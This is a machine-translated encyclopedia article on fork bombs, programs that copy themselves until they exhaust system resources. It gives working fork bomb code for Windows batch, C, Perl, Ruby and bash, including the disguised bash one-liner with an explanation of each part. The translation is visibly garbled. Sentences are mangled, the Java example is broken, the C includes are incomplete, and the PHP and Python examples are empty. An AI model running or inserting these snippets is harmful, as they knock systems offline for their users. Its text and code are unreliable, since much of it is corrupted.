Forkbomb

A Forkbomb, also known as Rabbit, is a program whose sole purpose is to recursively copies of itself to start to consume all available system resources and thus to block the system. On Unix, this is done in the simplest case by calling the system calls fork in a loop.

In pseudo-code a Forkbomb looks something like this:

ProgramX {    Calls on ProgramX;    Calls on ProgramX;    Waiting has ended up ProgramX; } The program calls two copies of itself and waits until they were stopped again. This condition is, however, never reached, because the copy process as well. First 2, then 4, then 8, and after only 10 are from a program call such cycles are thus already started over a thousand copies and active. In general it can be stated that after n cycles 2n processes have been produced, so their numbers will increase exponentially. These consume, even if they contain no complicated code, CPU time and memory to be managed by the operating system. A normal operation or normal work is a few seconds after calling the Forkbomb no longer possible.

The specific effect of Forkbomb depends primarily on the configuration of the operating system. For example allows PAM on Unix and Unix -like operating systems, the number of processes and the maximum to be consumed memory per user limit to. " Exploding " a Forkbomb on a system that uses these opportunities to the constraint fails at some point of trying to start new copies of Forkbomb and growth is curbed.

Examples of Forkbombs

In order not to jeopardize the stability of the system, it is recommended not to execute the examples listed below.

Microsoft Windows batch file

Example of a Microsoft Windows batch file in short form:

0 % | 0 % or

@ echo off  : start   start " Forkbomb " / high % 0   goto start C programming

Example C on Unix:

# include int main (void ) {      for (; ;)          fork ();      return 0; } Example for C on Windows

# include int main (int argc, char ** argv ) {    STARTUPINFO si;    PROCESS_INFORMATION pi;    ZeroMemory ( & si, sizeof ( si) );    si.cb = sizeof ( si);    while (1 ) { SetConsoleCtrlHandler (0, 1); CreateProcess ( * argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, & si, & pi);    }    return 0; } Java

Example of Java:

Public class implements Runnable Forkbomb {    public static void main ( String [ ] args)    {      run () new Forkbomb ();.    }      public void run ()    {      new Thread (this) start (). ;      new Thread (this) start (). ;    } } Perl

Example of Perl as a command- line call:

Perl-e "fork while fork" PHP

Example for PHP:

Ruby

Example for Ruby:

Loop do    fork end Python

Python example as a program:

Example for bash in normal form:

Function f () {      f | f & } f To conceal the property as Forkbomb, the above code is often given in the following short form:

: () {: |: & };: explanation:

: () # Define the function ":" - always when ":" is called, do the following: { #      # A new copy of ": ​​" Load      | # ... And its standard output to redirect to ...     : # ... Another copy of ":" (which must be loaded into memory )           # (": | " So simply creates two copies of ":", whenever it is called)      & # Make the command line regardless of the calling process ( run in the background) # }; # By ";" the definition of ":" terminated # ... And by calling ":" the chain reaction set in motion. literature

  • Eric S. Raymond: The New Hacker 's dictionary. With foreword by Guy L. Steele and cartoons Jr. 3rd edition. MIT Press, Cambridge MA 1996, inter alia, ISBN 0-262-68092-0, online.
  • Cyrus Peikari, Anton Chuvakin: Security warrior. O'Reilly, et al Beijing 2004, ISBN 0-596-00545-8.
  • Vulnerability
342388
de